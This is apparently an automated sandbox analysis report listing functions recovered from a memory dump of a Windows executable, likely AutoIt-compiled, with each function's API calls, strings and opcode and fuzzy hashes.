Instruction Fuzzy Hash: 9AD1A330104742EBCF14EF24D441AAABBA1FF54345F144A19FC96576A2DB30E99DCBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5B1E0, Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 00D5B23F

Strings

ALL, xrefs: 00D5B2D3
[HANDLE:, xrefs: 00D5B24B
[ALL, xrefs: 00D5B2E5
[CLASS:, xrefs: 00D5B28F
HANDLE=, xrefs: 00D5B238
[REGEXPTITLE:, xrefs: 00D5B267
LAST, xrefs: 00D5B204
ACTIVE, xrefs: 00D5B21A
[ACTIVE, xrefs: 00D5B22C
REGEXP=, xrefs: 00D5B254
CLASSNAME=, xrefs: 00D5B27C
[LAST, xrefs: 00D5B2EC

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 7ebf7f84fe42a43d8f9d2992ca952755f7bb9122924ffb197696dd3269d23fc6
Instruction ID: 9cb509b471f32f66b82db8725387de54cac733ee4a67b9001886a359e91b1331
Opcode Fuzzy Hash: 7ebf7f84fe42a43d8f9d2992ca952755f7bb9122924ffb197696dd3269d23fc6
Instruction Fuzzy Hash: 0031AD30A04245EADF14FA60DD53FEEB7A4DF24761F60002ABD46750D2EF61AE08CA75

Uniqueness

Uniqueness Score: -1.00%

Function 00D8C8EE, Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D02612: GetWindowLongW.USER32(?,000000EB), ref: 00D02623

DragQueryPoint.SHELL32(?,?), ref: 00D8C917

Part of subcall function 00D8ADF1: ClientToScreen.USER32(?,?), ref: 00D8AE1A
Part of subcall function 00D8ADF1: GetWindowRect.USER32 ref: 00D8AE90
Part of subcall function 00D8ADF1: PtInRect.USER32(?,?,00D8C304), ref: 00D8AEA0

SendMessageW.USER32(?,000000B0,?,?), ref: 00D8C980
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 00D8C98B
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 00D8C9AE
_wcscat.LIBCMT ref: 00D8C9DE
SendMessageW.USER32(?,000000C2,00000001,?), ref: 00D8C9F5
SendMessageW.USER32(?,000000B0,?,?), ref: 00D8CA0E
SendMessageW.USER32(?,000000B1,?,?), ref: 00D8CA25
SendMessageW.USER32(?,000000B1,?,?), ref: 00D8CA47
DragFinish.SHELL32(?), ref: 00D8CA4E
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 00D8CB41

Strings

@GUI_DROPID, xrefs: 00D8CA6E
@GUI_DRAGID, xrefs: 00D8CAB9
@GUI_DRAGFILE, xrefs: 00D8CAF0

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: 086d2f20dea68635a2bab5be89a253ba881406d643db78f04b15b4fbbf9fc5b1
Instruction ID: 0508027b9ff32e8b6acb61574d125a1f2f1d9315207dda9ad51df244571e2f9c
Opcode Fuzzy Hash: 086d2f20dea68635a2bab5be89a253ba881406d643db78f04b15b4fbbf9fc5b1
Instruction Fuzzy Hash: 96614C71118301AFC701EF64DC85E9BBBE8EF88710F400A1EF595972A1DB709A49CB72

Uniqueness

Uniqueness Score: -1.00%

Function 00D67FA4, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00D67FE9
VariantCopy.OLEAUT32(00000000,?), ref: 00D67FF2
VariantClear.OLEAUT32(00000000), ref: 00D67FFE
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 00D680EC
__swprintf.LIBCMT ref: 00D6811C
VarR8FromDec.OLEAUT32(?,?), ref: 00D68148
VariantInit.OLEAUT32(?), ref: 00D681F9
SysFreeString.OLEAUT32(00000016), ref: 00D6828D
VariantClear.OLEAUT32(?), ref: 00D682E7
VariantClear.OLEAUT32(?), ref: 00D682F6
VariantInit.OLEAUT32(00000000), ref: 00D68334

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00D68116
Default, xrefs: 00D681A9

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: 3643ab5042e0e431763f099260f7cd465c3966c53140224f3c3836b0eac83661
Instruction ID: c003b67a9d8baa9acfd2e6fad22f7fbe791cdede634240f6c84e81d721df9ca1
Opcode Fuzzy Hash: 3643ab5042e0e431763f099260f7cd465c3966c53140224f3c3836b0eac83661
Instruction Fuzzy Hash: C3D1D131604615EBDB10AF65D884B6AB7B8FF08700F148A55E845EB281DF75EC48FB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D69EA3, Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00000016), ref: 00D69EEA

Part of subcall function 00D07F41: _memmove.LIBCMT ref: 00D07F82

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 00D69F0B
__swprintf.LIBCMT ref: 00D69F64
__swprintf.LIBCMT ref: 00D69F7D
_wprintf.LIBCMT ref: 00D6A024
_wprintf.LIBCMT ref: 00D6A042

Strings

Incorrect parameters to object property !, xrefs: 00D69FC6
"%s" (%d) : ==> %s:%s%s, xrefs: 00D6A01F
"%s" (%d) : ==> %s:, xrefs: 00D6A03D
^ ERROR , xrefs: 00D69FB9
Error: , xrefs: 00D69FEC
Line %d (File "%s"):, xrefs: 00D69F5E, 00D69F77

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 1be4c3e5b715cdfd058996b2e72ac1aef894425662a0aa41b8242747db8165ed
Instruction ID: 7421c95f5d97ad3d25dfb230c3810fd82934fef4e842af64f93dc95edfed23dc
Opcode Fuzzy Hash: 1be4c3e5b715cdfd058996b2e72ac1aef894425662a0aa41b8242747db8165ed
Instruction Fuzzy Hash: 71513C7190020AABCF15EBA4DD82EEEB779EF18300F140165B509B6191EA356F58DFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D5FDBA, Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000001,00000000,00000001,?,00D3E452,00000001,0000138C,00000001,00000001,00000001,?,00000000,00000001), ref: 00D5FDEF
LoadStringW.USER32(00000000,?,00D3E452,00000001), ref: 00D5FDF8

Part of subcall function 00D07F41: _memmove.LIBCMT ref: 00D07F82

GetModuleHandleW.KERNEL32(00000000,00DC6310,?,00000FFF,?,?,00D3E452,00000001,0000138C,00000001,00000001,00000001,?,00000000,00000001,00000001), ref: 00D5FE1A
LoadStringW.USER32(00000000,?,00D3E452,00000001), ref: 00D5FE1D
__swprintf.LIBCMT ref: 00D5FE6D
__swprintf.LIBCMT ref: 00D5FE7E
_wprintf.LIBCMT ref: 00D5FF27
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00D5FF3E

Strings

%s (%d) : ==> %s: %s %s, xrefs: 00D5FF22
^ ERROR, xrefs: 00D5FED3
Error: , xrefs: 00D5FEF5
Line %d (File "%s"):, xrefs: 00D5FE67
Line %d:, xrefs: 00D5FE78

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: 9cc57a2528b7f2a1a815ddeabd3255e50ecf77b499d3b6746b7c071a08350850
Instruction ID: 0c39e6745b32690892cc6fc1668f9eef22e4436bcdae3250d2bcbfd9f2d1c368
Opcode Fuzzy Hash: 9cc57a2528b7f2a1a815ddeabd3255e50ecf77b499d3b6746b7c071a08350850
Instruction Fuzzy Hash: 42412072D04219AACF14EBE0DD86EEEB778EF14701F500165B905BA0D1EA356F49CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D8C49C, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 229windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D02612: GetWindowLongW.USER32(?,000000EB), ref: 00D02623

PostMessageW.USER32(?,00000111,00000000,00000000), ref: 00D8C4EC
GetFocus.USER32(?,?,?,?), ref: 00D8C4FC
GetDlgCtrlID.USER32 ref: 00D8C507
_memset.LIBCMT ref: 00D8C632
GetMenuItemInfoW.USER32(?,00000000,00000000,?), ref: 00D8C65D
GetMenuItemCount.USER32 ref: 00D8C67D
GetMenuItemID.USER32(?,00000000), ref: 00D8C690
GetMenuItemInfoW.USER32(?,-00000001,00000001,?), ref: 00D8C6C4
GetMenuItemInfoW.USER32(?,?,00000001,?), ref: 00D8C70C
CheckMenuRadioItem.USER32 ref: 00D8C744
DefDlgProcW.USER32(?,00000111,?,?,?,?,?,?,?), ref: 00D8C779

Strings

0, xrefs: 00D8C62A

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemMenu$Info$CheckCountCtrlFocusLongMessagePostProcRadioWindow_memset
String ID: 0
API String ID: 1296962147-4108050209
Opcode ID: b90c9be7b20392f654ac5d6752bf41b5da3849ac6e86aa90c999e588d402fe54
Instruction ID: b4cb4996ffdb1c13b9bd5b4158f06bfaf7dff99892aac7bda0e179bc0d7faba8
Opcode Fuzzy Hash: b90c9be7b20392f654ac5d6752bf41b5da3849ac6e86aa90c999e588d402fe54
Instruction Fuzzy Hash: 1F816A70218305EFDB10EF24C985A6BBBE8FB88314F14592DF995972A1D770E905CBB2

Uniqueness

Uniqueness Score: -1.00%

Function 00D6A0B5, Relevance: 21.2, APIs: 7, Strings: 5, Instructions: 156COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,00D8FB78), ref: 00D6A0FC

Part of subcall function 00D07F41: _memmove.LIBCMT ref: 00D07F82

LoadStringW.USER32(?,?,00000FFF,?), ref: 00D6A11E
__swprintf.LIBCMT ref: 00D6A177
__swprintf.LIBCMT ref: 00D6A190
_wprintf.LIBCMT ref: 00D6A246
_wprintf.LIBCMT ref: 00D6A264

Strings

"%s" (%d) : ==> %s:%s%s, xrefs: 00D6A241
^ ERROR, xrefs: 00D6A1E8
"%s" (%d) : ==> %s:, xrefs: 00D6A25F
Error: , xrefs: 00D6A20E
Line %d (File "%s"):, xrefs: 00D6A171, 00D6A18A

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-2391861430
Opcode ID: 77c7a7686f9174118dc9c1d0530acc9587209f185b4a39c66fb758d0fcdae65c
Instruction ID: a513912975dff2075f92c644a927d86572487e26431b2f130693d594baf984c1
Opcode Fuzzy Hash: 77c7a7686f9174118dc9c1d0530acc9587209f185b4a39c66fb758d0fcdae65c
Instruction Fuzzy Hash: 2F516C7190020AABCF15EBA4CD92EEEB779EF18300F140165B509B61A1EB356F58CFB1

Uniqueness

Uniqueness Score: -1.00%

Function 00D0201B, Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00D01B41: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00D02036,?,00000000,?,?,?,?,00D016CB,00000000,?), ref: 00D01B9A

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 00D020D3
KillTimer.USER32(-00000001,?,?,?,?,00D016CB,00000000,?,?,00D01AE2,?,?), ref: 00D0216E
DestroyAcceleratorTable.USER32 ref: 00D3BEF6
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D016CB,00000000,?,?,00D01AE2,?,?), ref: 00D3BF27
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D016CB,00000000,?,?,00D01AE2,?,?), ref: 00D3BF3E
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,00D016CB,00000000,?,?,00D01AE2,?,?), ref: 00D3BF5A
DeleteObject.GDI32(00000000), ref: 00D3BF6C

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: 1f320d9e9eadf241cf227921de4eb75201ecac379cd496c51ab208505bfa25de
Instruction ID: 1e6f8176feee4fd39ce9bcd8b608f9cbe265b8c34dce228c74cd9c66dc4e4ea7
Opcode Fuzzy Hash: 1f320d9e9eadf241cf227921de4eb75201ecac379cd496c51ab208505bfa25de
Instruction Fuzzy Hash: 0D615631101712DFDB259F14CD48B3AB7B1FF40326F188929E68A86AA0C772E881DF71

Uniqueness

Uniqueness Score: -1.00%

Function 00D021A5, Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 00D025DB: GetWindowLongW.USER32(?,000000EB), ref: 00D025EC

GetSysColor.USER32(0000000F), ref: 00D021D3

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: 674c29f0db0f56e45abe3404e23571bfab6e041e5395715575d3dfcb33449edc
Instruction ID: cb32bec01b5cfae70237aba2797227df5c628e43efcd6fe33c56ba8b3a327f8b
Opcode Fuzzy Hash: 674c29f0db0f56e45abe3404e23571bfab6e041e5395715575d3dfcb33449edc
Instruction Fuzzy Hash: EF41A031001240ABDB255F78DC8CBB93B65EB46331F584265FD69CA2E6C7318C82DB35

Uniqueness

Uniqueness Score: -1.00%

Function 00D5710E, Relevance: 16.6, APIs: 11, Instructions: 123memoryCOMMON

Download Yara Rule

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,?,?), ref: 00D57135
SafeArrayAllocData.OLEAUT32(?), ref: 00D5718E
VariantInit.OLEAUT32(?), ref: 00D571A0
SafeArrayAccessData.OLEAUT32(?,?), ref: 00D571C0
VariantCopy.OLEAUT32(?,?), ref: 00D57213
SafeArrayUnaccessData.OLEAUT32(?), ref: 00D57227
VariantClear.OLEAUT32(?), ref: 00D5723C
SafeArrayDestroyData.OLEAUT32(?), ref: 00D57249
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00D57252
VariantClear.OLEAUT32(?), ref: 00D57264
SafeArrayDestroyDescriptor.OLEAUT32(?), ref: 00D5726F

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 9b486a6c04859f580075245737972c4e102a687ce08ea04b6dd8f999cb9a3b3f
Instruction ID: ccb96df86685fc184501197f59c0729e3cce253c917edc4d23535e790f9e41fa
Opcode Fuzzy Hash: 9b486a6c04859f580075245737972c4e102a687ce08ea04b6dd8f999cb9a3b3f
Instruction Fuzzy Hash: 7D412C35A04219AFCF00DFA8D8449AEBBB9EF48355F108069FD55E7361CB30A949CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D67C1A, Relevance: 15.3, APIs: 10, Instructions: 292COMMON

Download Yara Rule

APIs

SafeArrayGetVartype.OLEAUT32(00000000,?), ref: 00D67CF6

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafeVartype
String ID:
API String ID: 1725837607-0
Opcode ID: 61624c6dd1f9c0648f05474e1b3614c25b8120fbedbc5d010e7a333459527089
Instruction ID: 2efd9cee58df6e7ac642aa971add964215fc0adfccbcba19a3deb0c697373e46
Opcode Fuzzy Hash: 61624c6dd1f9c0648f05474e1b3614c25b8120fbedbc5d010e7a333459527089
Instruction Fuzzy Hash: 3EB15B7190821A9FDB10DFA8C884BBEB7B4FF48329F244469E540E7292D735E945CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 00D8C27C, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D02612: GetWindowLongW.USER32(?,000000EB), ref: 00D02623

Part of subcall function 00D02344: GetCursorPos.USER32(?), ref: 00D02357
Part of subcall function 00D02344: ScreenToClient.USER32 ref: 00D02374
Part of subcall function 00D02344: GetAsyncKeyState.USER32(00000001), ref: 00D02399
Part of subcall function 00D02344: GetAsyncKeyState.USER32(00000002), ref: 00D023A7

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 00D8C2E4
ImageList_EndDrag.COMCTL32 ref: 00D8C2EA
ReleaseCapture.USER32 ref: 00D8C2F0
SetWindowTextW.USER32(?,00000000), ref: 00D8C39A
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 00D8C3AD
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 00D8C48F

Strings

@GUI_DROPID, xrefs: 00D8C3E1
@GUI_DRAGFILE, xrefs: 00D8C424

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: b241a1b065019b9eb57e0f28b404c6df068b3f2e8885d86b7fcb7fbb950c695e
Instruction ID: cb312cb2a5af00d6b94428ce7c19465da71bdcdb96ddeadcc18a9673ecd735cd
Opcode Fuzzy Hash: b241a1b065019b9eb57e0f28b404c6df068b3f2e8885d86b7fcb7fbb950c695e
Instruction Fuzzy Hash: 79515970204306AFDB00EF24C856F6A7BE5EF88314F04492DF5958B2E1DB71A958DB72

Uniqueness

Uniqueness Score: -1.00%

Function 00D02B72, Relevance: 13.7, APIs: 9, Instructions: 161windowCOMMON

Download Yara Rule

APIs

LoadImageW.USER32 ref: 00D3C547
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 00D3C569
LoadImageW.USER32 ref: 00D3C581
ExtractIconExW.SHELL32(?,00000000,?,00000000,00000001), ref: 00D3C59F
SendMessageW.USER32(00000000,00000080,00000000,00000000), ref: 00D3C5C0
DestroyIcon.USER32(00000000), ref: 00D3C5CF
SendMessageW.USER32(00000000,00000080,00000001,00000000), ref: 00D3C5EC
DestroyIcon.USER32(?), ref: 00D3C5FB

Part of subcall function 00D8A71E: DeleteObject.GDI32(00000000), ref: 00D8A757

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Icon$DestroyExtractImageLoadMessageSend$DeleteObject
String ID:
API String ID: 2819616528-0
Opcode ID: 421abf1e2bff7675fb5d64a3e635474913d3c765db9b5fb4977b479b59bcb3c6
Instruction ID: 4491b0a2c6ec98d82409cba5b98c3d6956a865938a12748e8d5b268405cb3a1d
Opcode Fuzzy Hash: 421abf1e2bff7675fb5d64a3e635474913d3c765db9b5fb4977b479b59bcb3c6
Instruction Fuzzy Hash: 62513570A11209AFDB24DF24CC49FAA7BB5EB58350F144529F946E72E0DB70E990DB70

Uniqueness

Uniqueness Score: -1.00%

Function 00D79E38, Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

Download Yara Rule

Strings

Not an Object type, xrefs: 00D79E90
NULL Pointer assignment, xrefs: 00D79EB9, 00D7A1DD

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: NULL Pointer assignment$Not an Object type
API String ID: 0-572801152
Opcode ID: 0edf6b7feeb75b68dca5668004dd12260c45896897398855163dec1286289c27
Instruction ID: ca2777c0a72d15f88bbface5c4332768695e86ab77eeb45e92891c4db37ade7d
Opcode Fuzzy Hash: 0edf6b7feeb75b68dca5668004dd12260c45896897398855163dec1286289c27
Instruction Fuzzy Hash: 85C17D71A0021A9FDF14CFA8C895AAEB7B5EF88314F548469F909EB280E770DD45CB71

Uniqueness

Uniqueness Score: -1.00%

Function 00D8D74C, Relevance: 12.3, APIs: 8, Instructions: 257windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D02612: GetWindowLongW.USER32(?,000000EB), ref: 00D02623

GetSystemMetrics.USER32 ref: 00D8D78A
GetSystemMetrics.USER32 ref: 00D8D7AA
MoveWindow.USER32(00000003,?,?,?,?,00000000,?,?,?), ref: 00D8D9E5
SendMessageW.USER32(00000003,00000142,00000000,0000FFFF), ref: 00D8DA03
SendMessageW.USER32(00000003,00000469,?,00000000), ref: 00D8DA24
ShowWindow.USER32(00000003,00000000), ref: 00D8DA43
InvalidateRect.USER32(?,00000000,00000001), ref: 00D8DA68
DefDlgProcW.USER32(?,00000005,?,?), ref: 00D8DA8B

Memory Dump Source

Source File: 00000000.00000002.256311655.0000000000D01000.00000020.00020000.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.256304050.0000000000D00000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256412723.0000000000D8F000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256457077.0000000000DB5000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.256489892.0000000000DBF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.256518813.0000000000DC8000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$MessageMetricsSendSystem$InvalidateLongMoveProcRectShow
String ID:
API String ID: 1211466189-0
Opcode ID: f6c38b844c7a737a15fccb234eddc0feb7241c406a7b98aa47b2887078b27832
Instruction ID: 5c0c72cb503587afb6d5a3ec86f1c3bddc3a7636f463c36d2d976a20cda60287
Opcode Fuzzy Hash: f6c38b844c7a737a15fccb234eddc0feb7241c406a7b98aa47b2887078b27832
Instruction Fuzzy Hash: 36B17A71600215EBDF18EF69C985BBD7BB2FF48701F188169EC88AB2D5D734A950CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00D02A5B, Relevance: 12.1, APIs: 8, Instructions: 129COMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,?,00000000,00000000,?,00D3C417,00000004,00000000,00000000,00000000), ref: 00D02ACF
ShowWindow.USER32(FFFFFFFF,00000000,00000000,00000000,?,00D3C417,00000004,00000000,00000000,00000000,000000FF), ref: 00D02B17
